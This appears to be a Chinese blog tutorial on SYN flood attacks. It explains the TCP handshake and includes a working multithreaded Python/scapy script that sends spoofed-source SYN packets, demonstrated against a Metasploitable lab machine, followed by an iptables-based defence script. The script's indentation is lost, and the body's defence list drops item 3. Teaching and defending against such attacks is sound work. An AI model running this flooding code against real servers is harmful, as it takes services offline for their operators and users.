Syn-Flood

0x00. Syn-Flood攻击简介

  Syn-Flood Attack是一种基于TCP/IP协议的拒绝服务攻击,它会造成服务器TCP连接数达到最大上限,从而不能为新的用户的正常访问请求建立TCP连接,以此达到攻击目的。这种攻击方式危害巨大,不仅会让用户体验不佳,更直接的影响是对企业造成严重的经济损失!所以我们有必要了解这种攻击的原理和防御措施。


0x01. TCP/IP三次握手

image

1.第一次握手:Client将标志位(也就是flags位)SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。

2.第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。

3.第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Server之间可以开始传输数据了。

[*]下面是笔者用Wireshark抓到的三次握手连接,可以看到FLAG位的SYN已经被set为1,读者们也可以自己抓包来分析包结构更好的学习。

image


0x02. Syn-Flood攻击原理

image

上图简要介绍了Syn-Flood攻击过程

1.攻击者先向目标机发送SYN包,请求建立TCP连接

2.目标机接收到SYN包之后,便会进入SYN_RCVD状态,然后又给攻击者回一个SYN-ACK包

3.如果攻击者发送SYN包时用的是伪造IP地址,那么目标机发送的SYN-ACK就很可能不可达,得不到ACK来建立完整的三次握手连接,这时目标机就会保持SYN_RCVD状态直到timeout。想象一下,如果我们一直发送SYN包请求连接,但是又不和目标机器建立完整的TCP连接,一会大家看看我的攻击脚本就知道这是一件多么可怕的事了

4.如果攻击者用的是本主机真实的IP地址的话,那么攻击者接受到ACK之后正常情况下会回复一个RST包(为什么不是ACK呢,因为攻击时我们是用pyhton的scapy库来发包的,本地网卡并不认为自己发送了SYN包,莫名奇妙接收到一个SYN-ACK包当然会回复RST包啦)


0x03. Syn-Flood攻击实战

  有了前面的理论基础,大家就能开心的做自己的测试了,就算遇到问题也能轻松的解决啦!所以理论还是很有用的,不要一味的只知道操作步骤而不知道原理。还有就是脚本什么的大家可以根据自己的理解来编写,不一定要用我的蹩脚的代码。

环境准备

  1.Syn-Flood脚本

  2.Wireshark抓包工具

  3.metaploitable2.0-linux  IP=192.168.43.109

Syn-Flood脚本如下(注意:该脚本需要python 2.7版本,还需要安装scapy、threading、random库):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from scapy.all import *
import threading
import random
def Syn_flood(target_ip, target_port):
while True:
port = random.randint(0,10000)
send(IP(src="1.1.1.1", dst=target_ip)/TCP(dport=target_port, sport=port),verbose=0)
#send(IP(dst=target_ip)/TCP(dport=target_port, sport=port),verbose=0)
def main(target_ip, target_port, threads):
print "BEGIN TO ATTACK TARGET"
for i in range(0, threads):
#print "test"
t = threading.Thread(target=Syn_flood, args=(target_ip, target_port))
t.start()
if __name__== "__main__":
target_ip = raw_input("Please input the target_ip: ")
target_port = int(raw_input("Please input the target_port: "))
threads = int(raw_input("Please input the threads: "))
main(target_ip, target_port, threads)

攻击流程

1.启动metasploit2.0,访问它的web服务,现在我们可以很流畅的访问到

image

2.启动python脚本,填写必要的参数,当然也可以攻击22,3389之类的基于TCP连接的端口

image

3.现在查看效果,可以看到web应用已经不能正常访问了,而且靶机的80端口由于受到Syn-Flood攻击全部处于SYN_RECV状态

image


0x04. 防御措施

  看到这里相信大家已经对Syn-Flood这种攻击方式有一定的了解了,下面来谈谈如何应对

1.如果某个端口和同一个IP建立了多个不完整连接,直接禁IP

2.减少SYN-RECEIVED的过期时间

4.设置防火墙的进站和入站规则

5.记录日志方便溯源追踪真凶

[*]防御脚本

1
2
3
4
5
6
7
#!/bin/bash
netstat -an|grep SYN_RECV|awk '{print$5}'|awk -F: '{print$1}'|sort|uniq -c|sort -rn|awk '{if ($1 >5) print $2}' >> /tmp/dropip
for i in $(cat /tmp/dropip)
do
/sbin/iptables -A INPUT -s $i -j DROP
echo “$i kill at `date`” >>/var/log/ddos
done

0x05. 结语

  关于拒绝服务攻击还有其他很多姿势,如果大家想了解更多的话可以关注一波公众号,我们一起探讨!我们这里也需要大家分享更多的知识一起来营造良好的学习氛围。

文章目录
  1. 1. 0x00. Syn-Flood攻击简介
    1. 1.0.1.   Syn-Flood Attack是一种基于TCP/IP协议的拒绝服务攻击,它会造成服务器TCP连接数达到最大上限,从而不能为新的用户的正常访问请求建立TCP连接,以此达到攻击目的。这种攻击方式危害巨大,不仅会让用户体验不佳,更直接的影响是对企业造成严重的经济损失!所以我们有必要了解这种攻击的原理和防御措施。
  • 2. 0x01. TCP/IP三次握手
    1. 2.0.1. 1.第一次握手:Client将标志位(也就是flags位)SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT状态,等待Server确认。
    2. 2.0.2. 2.第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态。
    3. 2.0.3. 3.第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据包发送给Server,Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随后Client与Server之间可以开始传输数据了。
    4. 2.0.4. [*]下面是笔者用Wireshark抓到的三次握手连接,可以看到FLAG位的SYN已经被set为1,读者们也可以自己抓包来分析包结构更好的学习。
  • 3. 0x02. Syn-Flood攻击原理
    1. 3.1. 上图简要介绍了Syn-Flood攻击过程
      1. 3.1.1. 1.攻击者先向目标机发送SYN包,请求建立TCP连接
      2. 3.1.2. 2.目标机接收到SYN包之后,便会进入SYN_RCVD状态,然后又给攻击者回一个SYN-ACK包
      3. 3.1.3. 3.如果攻击者发送SYN包时用的是伪造IP地址,那么目标机发送的SYN-ACK就很可能不可达,得不到ACK来建立完整的三次握手连接,这时目标机就会保持SYN_RCVD状态直到timeout。想象一下,如果我们一直发送SYN包请求连接,但是又不和目标机器建立完整的TCP连接,一会大家看看我的攻击脚本就知道这是一件多么可怕的事了
      4. 3.1.4. 4.如果攻击者用的是本主机真实的IP地址的话,那么攻击者接受到ACK之后正常情况下会回复一个RST包(为什么不是ACK呢,因为攻击时我们是用pyhton的scapy库来发包的,本地网卡并不认为自己发送了SYN包,莫名奇妙接收到一个SYN-ACK包当然会回复RST包啦)
  • 4. 0x03. Syn-Flood攻击实战
    1. 4.0.1.   有了前面的理论基础,大家就能开心的做自己的测试了,就算遇到问题也能轻松的解决啦!所以理论还是很有用的,不要一味的只知道操作步骤而不知道原理。还有就是脚本什么的大家可以根据自己的理解来编写,不一定要用我的蹩脚的代码。
  • 4.1. 环境准备
    1. 4.1.1.   1.Syn-Flood脚本
    2. 4.1.2.   2.Wireshark抓包工具
    3. 4.1.3.   3.metaploitable2.0-linux  IP=192.168.43.109
    4. 4.1.4. Syn-Flood脚本如下(注意:该脚本需要python 2.7版本,还需要安装scapy、threading、random库):
  • 4.2. 攻击流程
    1. 4.2.1. 1.启动metasploit2.0,访问它的web服务,现在我们可以很流畅的访问到
    2. 4.2.2. 2.启动python脚本,填写必要的参数,当然也可以攻击22,3389之类的基于TCP连接的端口
    3. 4.2.3. 3.现在查看效果,可以看到web应用已经不能正常访问了,而且靶机的80端口由于受到Syn-Flood攻击全部处于SYN_RECV状态
  • 5. 0x04. 防御措施
    1. 5.1.   看到这里相信大家已经对Syn-Flood这种攻击方式有一定的了解了,下面来谈谈如何应对
      1. 5.1.1. 1.如果某个端口和同一个IP建立了多个不完整连接,直接禁IP
      2. 5.1.2. 2.减少SYN-RECEIVED的过期时间
      3. 5.1.3. 3.设置SYN Cookie
      4. 5.1.4. 4.设置防火墙的进站和入站规则
      5. 5.1.5. 5.记录日志方便溯源追踪真凶
    2. 5.2. [*]防御脚本
  • 6. 0x05. 结语
    1. 6.0.1.   关于拒绝服务攻击还有其他很多姿势,如果大家想了解更多的话可以关注一波公众号,我们一起探讨!我们这里也需要大家分享更多的知识一起来营造良好的学习氛围。
  • |